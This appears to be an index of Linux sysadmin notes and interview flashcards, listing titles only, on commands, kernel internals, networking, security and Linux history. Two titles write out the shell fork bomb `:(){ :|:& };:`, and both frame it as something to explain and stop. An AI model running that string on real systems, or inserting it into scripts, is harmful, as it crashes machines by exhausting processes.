* [[How many privilege rings does x86 architecture define, and which does Linux use?]]
* [[Is the Linux kernel monolithic or microkernel?]]
* [[LUKS encrypts block devices via dm-crypt with multiple key slots]]
* [[Linux memory overcommitment and vm.overcommit_memory]]
* [[Linux package management: RPM and DEB ecosystems]]
* [[Log4Shell (CVE-2021-44228): RCE in Apache Log4j 2]]
* [[PXE boot: network-based server bootstrapping via DHCP, TFTP, and kernel loading]]
* [[Schedule one-time jobs with at, batch, and related commands]]
* [[What Linux kernel parameter enables IPv6?]]
* [[What UID is reserved for root?]]
* [[What architecture was Linux originally written for?]]
* [[What are AppArmor's two modes?]]
* [[What are Linux capabilities?]]
* [[What are Linux namespaces?]]
* [[What are SELinux booleans?]]
* [[What are SIGUSR1 and SIGUSR2?]]
* [[What are `ausearch` and `aureport`?]]
* [[What are awk's key built-in variables?]]
* [[What are cgroups?]]
* [[What are file descriptors 0, 1, and 2?]]
* [[What are huge pages?]]
* [[What are major and minor device numbers?]]
* [[What are ports 2049 and 111 used for?]]
* [[What are ports 3306, 5432, and 6379?]]
* [[What are syslog facilities?]]
* [[What are syslog priorities (severities)?]]
* [[What are systemd targets, and how do they map to SysVinit runlevels?]]
* [[What are the "dotfiles"?]]
* [[What are the 7 layers of the OSI model?]]
* [[What are the 8 types of Linux namespaces?]]
* [[What are the Linux kernel version numbering conventions?]]
* [[What are the Linux process states and their codes?]]
* [[What are the common HTTP status code ranges?]]
* [[What are the common Linux capabilities?]]
* [[What are the common TCP socket states?]]
* [[What are the cron special strings?]]
* [[What are the four freedoms of the GPL?]]
* [[What are the iptables chains in the filter table?]]
* [[What are the iptables tables and their purposes?]]
* [[What are the key `ss` flags?]]
* [[What are the key columns in `top`?]]
* [[What are the key dependency directives in systemd?]]
* [[What are the layers of the TCP/IP model?]]
* [[What are the main kernel memory zones on x86-64?]]
* [[What are the main systemd unit types?]]
* [[What are the private IP address ranges?]]
* [[What are the six fields of `crontab -l` output?]]
* [[What are the stages of GRUB2 boot loading?]]
* [[What are the three SELinux modes?]]
* [[What are the three timestamps on a Linux file?]]
* [[What are well-known ports 110, 143, 993, and 995?]]
* [[What character is forbidden in Linux filenames?]]
* [[What command lists currently loaded kernel modules?]]
* [[What command reloads udev rules without rebooting?]]
* [[What command shows the process tree?]]
* [[What command shows the routing table?]]
* [[What command shows your current UID and group memberships?]]
* [[What company acquired Red Hat in 2019?]]
* [[What compression tools are available on Linux?]]
* [[What data structure does CFS use internally?]]
* [[What do the mount options noexec, nosuid, and nodev mean?]]
* [[What does "POSIX" stand for?]]
* [[What does "PTY" stand for?]]
* [[What does "RTFM" stand for?]]
* [[What does "SSH" stand for?]]
* [[What does "TTY" stand for?]]
* [[What does "cpio" stand for?]]
* [[What does "dd" stand for?]]
* [[What does "ping" stand for?]]
* [[What does "rsync" stand for?]]
* [[What does "sudo" stand for?]]
* [[What does "tar" stand for?]]
* [[What does "tee" refer to?]]
* [[What does "wget" stand for?]]
* [[What does /proc/net/ contain?]]
* [[What does /proc/sys/net/ipv4/tcp_syncookies control?]]
* [[What does GNU stand for?]]
* [[What does RHEL stand for?]]
* [[What does `$!` contain?]]
* [[What does `$#` contain?]]
* [[What does `$$` contain?]]
* [[What does `$*` contain?]]
* [[What does `$0` contain?]]
* [[What does `$?` contain?]]
* [[What does `$@` contain?]]
* [[What does `${#var}` do?]]
* [[What does `${var#pattern}` do?]]
* [[What does `${var:+alternate}` do?]]
* [[What does `${var:-default}` do?]]
* [[What does `${var:?error_message}` do?]]
* [[What does `*/5 * * * *` mean in cron?]]
* [[What does `/proc/PID/smaps` show?]]
* [[What does `/proc/cpuinfo` contain?]]
* [[What does `/proc/meminfo` contain?]]
* [[What does `0 0 1 * *` mean in cron?]]
* [[What does `0 2 * * 1-5` mean in cron?]]
* [[What does `2>&1` do?]]
* [[What does `2>` do?]]
* [[What does `>` vs `>>` do?]]
* [[What does `OnCalendar=` do in a systemd timer?]]
* [[What does `Persistent=true` do in a systemd timer?]]
* [[What does `apt-mark hold <package>` do?]]
* [[What does `cat /proc/PID/wchan` show?]]
* [[What does `dmesg` show?]]
* [[What does `findmnt` do?]]
* [[What does `free` show?]]
* [[What does `fs.file-max` control?]]
* [[What does `fuser` do?]]
* [[What does `getconf _NPROCESSORS_ONLN` return?]]
* [[What does `getent` do?]]
* [[What does `grep -c` do?]]
* [[What does `grep -i` do?]]
* [[What does `grep -l` do?]]
* [[What does `grep -o` do?]]
* [[What does `grep -r` do?]]
* [[What does `grep -v` do?]]
* [[What does `grub2-install` do?]]
* [[What does `iostat` show?]]
* [[What does `ip route add default via 10.0.0.1` do?]]
* [[What does `journalctl --disk-usage` show?]]
* [[What does `journalctl -b -1` show?]]
* [[What does `kernel.panic` control?]]
* [[What does `loginctl` do?]]
* [[What does `lsof` do?]]
* [[What does `ltrace` do?]]
* [[What does `mpstat` show?]]
* [[What does `mtr` do?]]
* [[What does `net.core.somaxconn` control?]]
* [[What does `net.ipv4.ip_forward` control?]]
* [[What does `netcat` (nc) do?]]
* [[What does `pidstat` show?]]
* [[What does `printenv` do?]]
* [[What does `readlink -f` do?]]
* [[What does `renice` do?]]
* [[What does `resolvectl status` show?]]
* [[What does `sar` do?]]
* [[What does `set -e` do?]]
* [[What does `set -o pipefail` do?]]
* [[What does `set -u` do?]]
* [[What does `set -x` do?]]
* [[What does `stat` show?]]
* [[What does `strace` do?]]
* [[What does `sync` do?]]
* [[What does `sysctl net.core.rmem_max` control?]]
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
* [[What does `systemctl daemon-reload` do?]]
* [[What does `systemctl list-units --type=service --state=failed` show?]]
* [[What does `systemctl mask` do?]]
* [[What does `systemd-analyze` show?]]
* [[What does `systemd-cgtop` show?]]
* [[What does `tee` do?]]
* [[What does `touch` actually do?]]
* [[What does `tr` do?]]
* [[What does `type` do in Bash?]]
* [[What does `uniq` do?]]
* [[What does `vmstat` show?]]
* [[What does `wc` do?]]
* [[What does `which` do?]]
* [[What does `whoami` do?]]
* [[What does `xargs` do?]]
* [[What does `xxd` do?]]
* [[What does exit code 0 mean?]]
* [[What does exit code 1 mean?]]
* [[What does exit code 126 mean?]]
* [[What does exit code 127 mean?]]
* [[What does exit code 128+n mean?]]
* [[What does exit code 130 mean?]]
* [[What does exit code 2 mean?]]
* [[What does logrotate `postrotate/endscript` do?]]
* [[What does the `cut` command do?]]
* [[What does the `env` command do?]]
* [[What does the `export` command do?]]
* [[What does the `init=` kernel parameter do?]]
* [[What does the `ip -s link show` command display?]]
* [[What does the `nice` command do?]]
* [[What does the `nsenter` command do?]]
* [[What does the `quiet` kernel parameter do?]]
* [[What does the `rd.break` kernel parameter do?]]
* [[What does the `sort` command do?]]
* [[What does the `timeout` command do?]]
* [[What does the `unshare` command do?]]
* [[What does the term "distro-hopping" mean?]]
* [[What embedded operating system is used in most consumer routers and is based on Linux?]]
* [[What files does a Bash interactive non-login shell source?]]
* [[What files does a Bash login shell source?]]
* [[What filesystem does Debian/Ubuntu use by default?]]
* [[What filesystem does most RHEL/CentOS/Fedora systems use by default?]]
* [[What happens when you `ping ::1`?]]
* [[What happens when you delete a hard link?]]
* [[What happens when you delete the target of a symbolic link?]]
* [[What happens when you run `:(){ :|:& };:` in a shell?]]
* [[What information can you find in `/proc/PID/status`?]]
* [[What is /dev/null?]]
* [[What is /dev/shm?]]
* [[What is /dev/urandom?]]
* [[What is /dev/zero?]]
* [[What is /etc/login.defs used for in security?]]
* [[What is /etc/login.defs?]]
* [[What is /etc/motd?]]
* [[What is /proc/cmdline?]]
* [[What is /proc/loadavg?]]
* [[What is /proc/mounts?]]
* [[What is /proc/sys/?]]
* [[What is /proc/version?]]
* [[What is /sys/block/?]]
* [[What is /sys/class/?]]
* [[What is /sys/devices/?]]
* [[What is /var/log/auth.log?]]
* [[What is AIDE?]]
* [[What is ARP?]]
* [[What is Android's relationship to Linux?]]
* [[What is Arch Linux known for?]]
* [[What is BEGIN/END in awk?]]
* [[What is BIOS?]]
* [[What is Btrfs?]]
* [[What is CAP_NET_BIND_SERVICE?]]
* [[What is CAP_SYS_ADMIN?]]
* [[What is CPU steal time?]]
* [[What is Cilium?]]
* [[What is DPDK?]]
* [[What is ELK/EFK stack?]]
* [[What is FIPS mode in Linux?]]
* [[What is GRE tunneling?]]
* [[What is GRUB2's main configuration file?]]
* [[What is GRUB2?]]
* [[What is Gentoo Linux known for?]]
* [[What is ICMP?]]
* [[What is IFS?]]
* [[What is LC_ALL?]]
* [[What is LD_LIBRARY_PATH?]]
* [[What is LVM thin provisioning?]]
* [[What is LVS (Linux Virtual Server)?]]
* [[What is Linus's Law?]]
* [[What is NAT?]]
* [[What is NOPASSWD in sudoers?]]
* [[What is NUMA?]]
* [[What is NetworkManager?]]
* [[What is OpenRC?]]
* [[What is PAM?]]
* [[What is PID 1, and why is it special?]]
* [[What is PSI (Pressure Stall Information)?]]
* [[What is PSS (Proportional Set Size)?]]
* [[What is Pacman?]]
* [[What is QEMU?]]
* [[What is RAID 0?]]
* [[What is RAID 10?]]
* [[What is RAID 1?]]
* [[What is RAID 5?]]
* [[What is RAID 6?]]
* [[What is RCU (Read-Copy-Update)?]]
* [[What is RFC 5737?]]
* [[What is SELinux?]]
* [[What is SIGALRM?]]
* [[What is SIGCHLD?]]
* [[What is SIGPIPE?]]
* [[What is SIGSEGV?]]
* [[What is SIGSTOP?]]
* [[What is SSH ProxyJump?]]
* [[What is SSH agent forwarding?]]
* [[What is SSH key-based authentication?]]
* [[What is SSH tunneling (port forwarding)?]]
* [[What is Secure Boot?]]
* [[What is TCP keepalive?]]
* [[What is TCP slow start?]]
* [[What is Tux?]]
* [[What is UEFI?]]
* [[What is Upstart?]]
* [[What is UsrMerge?]]
* [[What is WireGuard?]]
* [[What is XFS?]]
* [[What is `/etc/cron.d/`?]]
* [[What is `/etc/hostname`?]]
* [[What is `/etc/shells`?]]
* [[What is `/proc/PID/cmdline`?]]
* [[What is `/proc/PID/fd/`?]]
* [[What is `/proc/PID/maps`?]]
* [[What is `/proc/PID/oom_score`?]]
* [[What is `/proc/interrupts`?]]
* [[What is `/proc/self`?]]
* [[What is `arp -a` replaced by?]]
* [[What is `audit2allow`?]]
* [[What is `bpftrace`?]]
* [[What is `buildah`?]]
* [[What is `cgroups v2 memory.pressure`?]]
* [[What is `chage` used for?]]
* [[What is `coredumpctl`?]]
* [[What is `crun`?]]
* [[What is `dbus` (D-Bus)?]]
* [[What is `dmidecode`?]]
* [[What is `dpkg-buildpackage`?]]
* [[What is `eBPF` used for in networking?]]
* [[What is `epoll` in Linux?]]
* [[What is `find -print0`?]]
* [[What is `fsck`?]]
* [[What is `iftop`?]]
* [[What is `inotifywait`?]]
* [[What is `ionice`?]]
* [[What is `ip netns`?]]
* [[What is `irqbalance`?]]
* [[What is `journalctl --vacuum-time=7d`?]]
* [[What is `ldconfig`?]]
* [[What is `ldd`?]]
* [[What is `localectl`?]]
* [[What is `lsblk`?]]
* [[What is `lynis`?]]
* [[What is `mkfs` a frontend for?]]
* [[What is `mktemp`?]]
* [[What is `nftables` advantage over iptables for large rulesets?]]
* [[What is `nl` used for?]]
* [[What is `nproc`?]]
* [[What is `pam_limits`?]]
* [[What is `pam_tally2` / `pam_faillock`?]]
* [[What is `perf record` and `perf report`?]]
* [[What is `restorecon`?]]
* [[What is `screen` used for?]]
* [[What is `skopeo`?]]
* [[What is `slabtop`?]]
* [[What is `ss -i` useful for?]]
* [[What is `stress-ng`?]]
* [[What is `sysctl`?]]
* [[What is `sysdig`?]]
* [[What is `systemd-networkd-wait-online.service`?]]
* [[What is `tcpdump`?]]
* [[What is `timedatectl`?]]
* [[What is `trap` in Bash?]]
* [[What is `tshark`?]]
* [[What is `tuned`?]]
* [[What is `udevadm monitor`?]]
* [[What is `virsh`?]]
* [[What is `virt-install`?]]
* [[What is `watch`?]]
* [[What is `wget` vs `curl`?]]
* [[What is `xargs -0`?]]
* [[What is a FIFO (named pipe)?]]
* [[What is a Linux "spin" or "flavor"?]]
* [[What is a Linux kernel LTS release?]]
* [[What is a TAP vs TUN device?]]
* [[What is a Type-1 vs Type-2 hypervisor?]]
* [[What is a Unix domain socket?]]
* [[What is a VLAN?]]
* [[What is a block device?]]
* [[What is a bonding vs teaming?]]
* [[What is a bzImage?]]
* [[What is a context switch?]]
* [[What is a core dump?]]
* [[What is a firewalld rich rule?]]
* [[What is a firewalld zone?]]
* [[What is a flame graph?]]
* [[What is a gratuitous ARP?]]
* [[What is a here document (heredoc)?]]
* [[What is a here string?]]
* [[What is a kprobe?]]
* [[What is a link-local address in IPv6?]]
* [[What is a loadable kernel module (LKM)?]]
* [[What is a loopback device?]]
* [[What is a man page section number system?]]
* [[What is a mount namespace used for in containers?]]
* [[What is a network bridge?]]
* [[What is a page table?]]
* [[What is a process in Linux?]]
* [[What is a reverse DNS lookup?]]
* [[What is a softirq?]]
* [[What is a swap partition vs a swap file?]]
* [[What is a systemd timer?]]
* [[What is a thread in Linux?]]
* [[What is a udev rule?]]
* [[What is a zombie process?]]
* [[What is an ACL in Linux?]]
* [[What is an I/O scheduler?]]
* [[What is an ICMP redirect?]]
* [[What is an LVM snapshot?]]
* [[What is an SELinux security context?]]
* [[What is an epoch timestamp?]]
* [[What is an inode, and what does it store?]]
* [[What is an orphan process?]]
* [[What is an overlay filesystem?]]
* [[What is anacron?]]
* [[What is cgroup memory.max in cgroups v2?]]
* [[What is chroot?]]
* [[What is cloud-init?]]
* [[What is containerd?]]
* [[What is copy-on-write (COW)?]]
* [[What is dm-crypt?]]
* [[What is eBPF?]]
* [[What is ext4?]]
* [[What is fail2ban?]]
* [[What is firewalld?]]
* [[What is ftrace?]]
* [[What is iSCSI?]]
* [[What is initramfs?]]
* [[What is inode exhaustion?]]
* [[What is iowait in CPU statistics?]]
* [[What is ipvlan?]]
* [[What is job control?]]
* [[What is journald?]]
* [[What is kernel preemption?]]
* [[What is kernel.org?]]
* [[What is live migration?]]
* [[What is log shipping?]]
* [[What is logrotate?]]
* [[What is macvlan?]]
* [[What is memory.high in cgroups v2?]]
* [[What is oom_score_adj?]]
* [[What is perf?]]
* [[What is port 123 used for?]]
* [[What is port 25 used for?]]
* [[What is port 443 used for?]]
* [[What is port 514 used for?]]
* [[What is port 53 used for?]]
* [[What is port 80 used for?]]
* [[What is port 8080 commonly used for?]]
* [[What is process accounting in Linux?]]
* [[What is process substitution?]]
* [[What is proxy ARP?]]
* [[What is reverse path filtering?]]
* [[What is rsyslog?]]
* [[What is runc?]]
* [[What is socket activation?]]
* [[What is structured logging?]]
* [[What is switch_root?]]
* [[What is sysfs?]]
* [[What is syslog-ng?]]
* [[What is systemd's creator known for?]]
* [[What is systemd's role in the boot process?]]
* [[What is systemd-networkd?]]
* [[What is systemd-tmpfiles?]]
* [[What is systemd?]]
* [[What is the "available" column in `free`?]]
* [[What is the /proc/net/tcp file format?]]
* [[What is the AUR?]]
* [[What is the BSD license?]]
* [[What is the Completely Fair Scheduler (CFS)?]]
* [[What is the D (uninterruptible sleep) state, and why can't you kill processes in it?]]
* [[What is the DNS resolution order on Linux?]]
* [[What is the Debian Social Contract?]]
* [[What is the Devuan distribution?]]
* [[What is the EDITOR and VISUAL variable?]]
* [[What is the ESP?]]
* [[What is the FHS?]]
* [[What is the GRUB_CMDLINE_LINUX variable?]]
* [[What is the HOME variable?]]
* [[What is the LANG variable?]]
* [[What is the Linux Foundation?]]
* [[What is the Linux Standard Base (LSB)?]]
* [[What is the Linux kernel mailing list (LKML)?]]
* [[What is the MTU?]]
* [[What is the PATH variable?]]
* [[What is the SHELL variable?]]
* [[What is the SLUB allocator?]]
* [[What is the TCP TIME_WAIT state?]]
* [[What is the TERM variable?]]
* [[What is the TLB?]]
* [[What is the USE Method for performance analysis?]]
* [[What is the USER variable?]]
* [[What is the VFS (Virtual Filesystem Switch)?]]
* [[What is the XDP (eXpress Data Path) framework?]]
* [[What is the Year 2038 problem?]]
* [[What is the ZFS licensing controversy?]]
* [[What is the `/proc/1/cgroup` trick for detecting containers?]]
* [[What is the `alias` command?]]
* [[What is the `arping` command?]]
* [[What is the `bmon` tool?]]
* [[What is the `bridge` command?]]
* [[What is the `chattr` command?]]
* [[What is the `chvt` command?]]
* [[What is the `column -t` command useful for?]]
* [[What is the `column` command useful for?]]
* [[What is the `conntrack` command?]]
* [[What is the `curl -v` flag useful for?]]
* [[What is the `dig` command used for?]]
* [[What is the `ethtool` command?]]
* [[What is the `file` command?]]
* [[What is the `fmt` command?]]
* [[What is the `host` command?]]
* [[What is the `hostnamectl` command?]]
* [[What is the `info` command?]]
* [[What is the `install` command?]]
* [[What is the `ip -brief addr show` command?]]
* [[What is the `iperf3` tool?]]
* [[What is the `last` command?]]
* [[What is the `logger` command?]]
* [[What is the `logrotate` `copytruncate` directive?]]
* [[What is the `lscpu` command?]]
* [[What is the `lsmod` vs `/proc/modules` relationship?]]
* [[What is the `make menuconfig` command?]]
* [[What is the `mpstat -I ALL` command useful for?]]
* [[What is the `newgrp` command?]]
* [[What is the `nmap` command?]]
* [[What is the `nmcli` command?]]
* [[What is the `nslookup` command?]]
* [[What is the `numactl` command?]]
* [[What is the `paste` command?]]
* [[What is the `perf top` command?]]
* [[What is the `rev` command?]]
* [[What is the `socat` command?]]
* [[What is the `ss -s` command useful for?]]
* [[What is the `taskset` command?]]
* [[What is the `tc` command?]]
* [[What is the `tuna` command?]]
* [[What is the `tune2fs` command?]]
* [[What is the `turbostat` command?]]
* [[What is the `umask` for a secure system?]]
* [[What is the `uptime` command?]]
* [[What is the `w` command's JCPU and PCPU columns?]]
* [[What is the `w` command?]]
* [[What is the `yes` command?]]
* [[What is the advantage of AppArmor's path-based approach?]]
* [[What is the advantage of SELinux's label-based approach?]]
* [[What is the basic structure of an awk program?]]
* [[What is the basic sudoers syntax?]]
* [[What is the boot sequence order from power-on to login prompt?]]
* [[What is the clone() system call?]]
* [[What is the command to start a service?]]
* [[What is the correct way to edit the sudoers file?]]
* [[What is the cron syntax format?]]
* [[What is the difference between /etc/environment and shell profile files?]]
* [[What is the difference between /tmp and /var/tmp?]]
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
* [[What is the difference between BRE, ERE, and PCRE?]]
* [[What is the difference between DHCP and static IP configuration?]]
* [[What is the difference between Docker and Podman?]]
* [[What is the difference between Fluentd and Fluent Bit?]]
* [[What is the difference between GPT and MBR?]]
* [[What is the difference between HTTP/1.1, HTTP/2, and HTTP/3?]]
* [[What is the difference between IPv4 and IPv6 address sizes?]]
* [[What is the difference between Layer 4 and Layer 7 load balancing?]]
* [[What is the difference between NTP and chrony?]]
* [[What is the difference between RUID, EUID, and SUID?]]
* [[What is the difference between SATA, SAS, and NVMe?]]
* [[What is the difference between TCP CLOSE_WAIT and TIME_WAIT?]]
* [[What is the difference between TCP Nagle's algorithm and TCP_NODELAY?]]
* [[What is the difference between TCP RST and FIN?]]
* [[What is the difference between TCP and UDP?]]
* [[What is the difference between VIRT, RES, and SHR in top?]]
* [[What is the difference between `$@` and `$*`?]]
* [[What is the difference between `adduser` and `useradd`?]]
* [[What is the difference between `crontab -e` and `/etc/crontab`?]]
* [[What is the difference between `dracut` and `mkinitcpio`?]]
* [[What is the difference between `grep -E` and `grep -P`?]]
* [[What is the difference between `ip addr` and `ip link`?]]
* [[What is the difference between `ip link set dev eth0 down` and `ifdown eth0`?]]
* [[What is the difference between `ip route` and `ip rule`?]]
* [[What is the difference between `journalctl -xe` and `journalctl -u service`?]]
* [[What is the difference between `kill -l` and `trap -l`?]]
* [[What is the difference between `less` and `more`?]]
* [[What is the difference between `nohup` and `disown`?]]
* [[What is the difference between `ps aux` and `ps -ef`?]]
* [[What is the difference between `reboot` and `shutdown -r now`?]]
* [[What is the difference between `screen` and `tmux`?]]
* [[What is the difference between `shutdown`, `halt`, `poweroff`, and `reboot`?]]
* [[What is the difference between `ss` and `netstat`?]]
* [[What is the difference between `su` and `su -`?]]
* [[What is the difference between `tar` and `gzip`?]]
* [[What is the difference between `uptime` load average and CPU utilization?]]
* [[What is the difference between `vmstat` si/so and `sar -W`?]]
* [[What is the difference between `wall` and `write`?]]
* [[What is the difference between `xfs_growfs` and `resize2fs`?]]
* [[What is the difference between a bind mount and a regular mount?]]
* [[What is the difference between a hub, switch, and router?]]
* [[What is the difference between a login shell and a non-login shell?]]
* [[What is the difference between a physical and virtual console?]]
* [[What is the difference between a pipe and a socket?]]
* [[What is the difference between a process and a thread in terms of memory?]]
* [[What is the difference between a process context switch and an interrupt?]]
* [[What is the difference between a raw socket and a regular socket?]]
* [[What is the difference between an interactive and non-interactive shell?]]
* [[What is the difference between block and character devices?]]
* [[What is the difference between buffers and cache in memory?]]
* [[What is the difference between cron and systemd timers?]]
* [[What is the difference between crun and runc?]]
* [[What is the difference between dpkg and apt?]]
* [[What is the difference between fdisk, parted, and gdisk?]]
* [[What is the difference between hard and soft limits in ulimit?]]
* [[What is the difference between initramfs and initrd?]]
* [[What is the difference between insmod and modprobe?]]
* [[What is the difference between iptables INPUT and FORWARD chains?]]
* [[What is the difference between kill and killall?]]
* [[What is the difference between kmalloc and vmalloc?]]
* [[What is the difference between multicast, broadcast, and unicast?]]
* [[What is the difference between rpm, yum, and dnf?]]
* [[What is the difference between snap, flatpak, and AppImage?]]
* [[What is the difference between softirq and hardirq?]]
* [[What is the difference between static and dynamic linking?]]
* [[What is the difference between su and sudo?]]
* [[What is the difference between symmetric and asymmetric routing?]]
* [[What is the difference between systemd and SysVinit?]]
* [[What is the difference between the GPL, LGPL, MIT, and Apache licenses?]]
* [[What is the difference between user time and system time in process statistics?]]
* [[What is the emergency.target in systemd?]]
* [[What is the ephemeral port range in Linux?]]
* [[What is the exec() family of system calls?]]
* [[What is the fork() system call?]]
* [[What is the format of /etc/group?]]
* [[What is the format of /etc/passwd?]]
* [[What is the format of /etc/shadow?]]
* [[What is the kernel ring buffer?]]
* [[What is the key difference between cgroups v1 and v2?]]
* [[What is the loopback address in IPv6?]]
* [[What is the magic number in a Linux executable?]]
* [[What is the maximum filename length in most Linux filesystems?]]
* [[What is the maximum number of TCP connections a Linux server can handle?]]
* [[What is the maximum number of file descriptors per process?]]
* [[What is the maximum path length in Linux?]]
* [[What is the maximum size of a TCP window?]]
* [[What is the most common bonding mode in production?]]
* [[What is the oldest actively maintained Linux distribution?]]
* [[What is the origin of the term "free software" vs "open source"?]]
* [[What is the purpose of /bin?]]
* [[What is the purpose of /dev?]]
* [[What is the purpose of /etc/securetty?]]
* [[What is the purpose of /home?]]
* [[What is the purpose of /mnt and /media?]]
* [[What is the purpose of /opt?]]
* [[What is the purpose of /run?]]
* [[What is the purpose of /sbin?]]
* [[What is the purpose of /srv?]]
* [[What is the purpose of /sys?]]
* [[What is the purpose of /tmp?]]
* [[What is the purpose of /usr?]]
* [[What is the purpose of /var?]]
* [[What is the purpose of keepalived?]]
* [[What is the purpose of the /etc/hosts file?]]
* [[What is the purpose of the `/boot` partition?]]
* [[What is the purpose of the `alternatives` system?]]
* [[What is the relationship between RHEL, CentOS, Rocky Linux, and AlmaLinux?]]
* [[What is the relationship between firewalld, iptables, and nftables?]]
* [[What is the rescue.target in systemd?]]
* [[What is the setgid bit?]]
* [[What is the setuid bit?]]
* [[What is the shebang (#!)?]]
* [[What is the sticky bit shown as in `ls -l`?]]
* [[What is the sticky bit?]]
* [[What is the subnet mask 255.255.255.0 in CIDR notation?]]
* [[What is the syscall number for `write` on x86-64 Linux?]]
* [[What is the thundering herd problem?]]
* [[What is the typical UID range for system accounts vs regular users?]]
* [[What is the well-known port for SSH?]]
* [[What is udev?]]
* [[What is virtio?]]
* [[What is virtual memory?]]
* [[What is zypper?]]
* [[What kernel configuration file controls module parameters at load time?]]
* [[What kernel parameter boots into single-user/rescue mode?]]
* [[What kernel parameter controls the maximum number of connections tracked by netfilter?]]
* [[What kernel parameter forces a root password reset?]]
* [[What log priorities does journalctl support?]]
* [[What operating system inspired Linus to write Linux?]]
* [[What programming language is the Linux kernel primarily written in?]]
* [[What replaced CFS in Linux 6.6?]]
* [[What replaces `ifconfig` in the ip command suite?]]
* [[What signal number is SIGHUP?]]
* [[What signal number is SIGINT?]]
* [[What signal number is SIGKILL?]]
* [[What signal number is SIGQUIT?]]
* [[What signal number is SIGTERM?]]
* [[What supercomputing milestone does Linux hold?]]
* [[What was Dirty COW?]]
* [[What was Shellshock?]]
* [[What was Ubuntu's first release?]]
* [[What was the "SCO vs IBM" lawsuit?]]
* [[What was the "Year of the Linux Desktop" meme?]]
* [[What was the Heartbleed vulnerability?]]
* [[What was the Tanenbaum-Torvalds debate about?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
* [[What was the first Linux distribution?]]
* [[What was the first commercial Linux distribution?]]
* [[What was the first version number of the Linux kernel?]]
* [[What was the original name Linus considered for the kernel before "Linux"?]]
* [[What year did Linux first surpass 50% of the web server market?]]
* [[When was Rust support officially added to the Linux kernel?]]
* [[When would you choose Btrfs?]]
* [[When would you choose ext4?]]
* [[Where are apt repository definitions stored?]]
* [[Where are systemd unit files stored?]]
* [[Where are udev rules stored?]]
* [[Where are yum/dnf repository definitions stored?]]
* [[Where does the name "awk" come from?]]
* [[Where does the name "grep" come from?]]
* [[Where does the name "sed" come from?]]
* [[Which BSD variants are actively developed?]]
* [[Who created Linux, and in what year?]]
* [[Who founded Red Hat?]]
* [[Who is Greg Kroah-Hartman?]]
* [[Who is Richard Stallman, and what is his role in the Linux ecosystem?]]
* [[Who is the creator of MINIX 3?]]
* [[Why does Stallman insist on calling the OS "GNU/Linux"?]]
* [[Why is the `ip` command preferred over `ifconfig`?]]
* [[Why was UsrMerge implemented?]]
* [[auditd: kernel-level security audit logging for Linux]]
* [[journalctl: primary tool for querying the systemd journal]]
* [[seccomp: Linux syscall restriction for process sandboxing]]
* [[systemctl enable vs start: boot persistence vs immediate activation]]
* [[systemd-resolved: Linux local caching stub resolver]]
* [[vm.swappiness tuning for latency-sensitive servers]]
!! MOC — flashcards
Every atom extracted from a ''flashcard'' source (669 total).
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[/etc directory purpose and conventions]]
* [[/etc/skel — skeleton directory for new user home setup]]
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
* [[A Linux server is slow. Where do you start?]]
* [[A junior engineer sees 128 MB free in `top` and panics that the server is out of memory…]]
* [[A project manager needs a new SQL Server. What do you ask her/his?]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
* [[A service starts manually but fails under systemd. What are the possible causes?]]
* [[A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely wha…]]
* [[A systemd unit shows "active (running)" but the actual service process is dead. How?]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[Alpine's musl libc breaks glibc-compiled binaries]]
* [[An application cannot read files in its data directory due to SELinux. How do you diagn…]]
* [[An application encounters some performance issues. You should to find the code we have …]]
* [[Are the changes you make to kernel parameters in a container, affects also the kernel p…]]
* [[Are wildcards implemented in user or kernel space?]]
* [[Auditing SUID and SGID binaries for privilege escalation]]
* [[Bind mount vs symlink?]]
* [[Can you check what type of filesystem is used in /home?]]
* [[Can you describe how processes are being created?]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
* [[Can you give a particular example when is indicated to use `nobody` account? Tell me th…]]
* [[Can you have more than one default gateway in a given system?]]
* [[Capabilities vs setuid?]]
* [[Check disk/filesystem usage with df and du]]
* [[Check which ports are open or listening on Linux]]
* [[Checking Linux memory and CPU stats]]
* [[Container network namespace: isolation and connectivity model]]
* [[Containers need a proper init (tini/dumb-init) for PID 1]]
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
* [[Create a file with 100 lines with random values.]]
* [[Defense in depth: layered security controls]]
* [[Demonstrate Linux output redirection]]
* [[Demonstrate Linux stderr output redirection]]
* [[Demonstrate Linux stderr to stdout redirection]]
* [[Demonstrate one way to encode and decode data in Linux]]
* [[Describe how to make a certain process/app a service]]
* [[Describe shortly what happens when you execute a command in the shell]]
* [[Describe start-up configuration files and directory in BSD systems.]]
* [[Describe the Linux storage stack from application down to hardware.]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
* [[Describe the process of extending a filesystem/disk]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
* [[Describe three different ways to remove a file or directory]]
* [[Developer added cron job which generate massive log files. How do you prevent them from…]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
* [[Diagnosing memory leaks in long-running Linux processes]]
* [[Difference between SNAT, DNAT, and masquerade?]]
* [[Difference between `nohup`, `disown`, and `&`. What happens when using all together?]]
* [[Differences between Unix, Linux, BSD, and GNU]]
* [[Do you have experience with hardening servers? Can you describe the process?]]
* [[Do you have experience with packaging (building packages)?]]
* [[Do you know how to create a new user without using adduser/useradd command?]]
* [[Docker volumes: persistent storage outside the container layer]]
* [[Every command fails with `command not found`. How to trace the source of the error and …]]
* [[Every couple of days, a certain process stops running. How can you look into why it's h…]]
* [[Execute combine multiple shell commands in one line.]]
* [[Explain /proc vs /sys vs /dev — what kind of tuning would you do in each?]]
* [[Explain Access Control Lists (ACLs) with getfacl and setfacl]]
* [[Explain AppArmor profiles and enforcement modes]]
* [[Explain Kernel Threads]]
* [[Explain Linux I/O redirection]]
* [[Explain Process Descriptor and Task Structure]]
* [[Explain RSS vs VSZ vs PSS.]]
* [[Explain `:(){ :|:& };:` and how stop this code if you are already logged into a system?]]
* [[Explain a real scenario where lowering swappiness makes performance worse.]]
* [[Explain differences between `2>&-`, `2>/dev/null`, `|&`, `&>/dev/null`, and `>/dev/null…]]
* [[Explain dirty pages and writeback in Linux]]
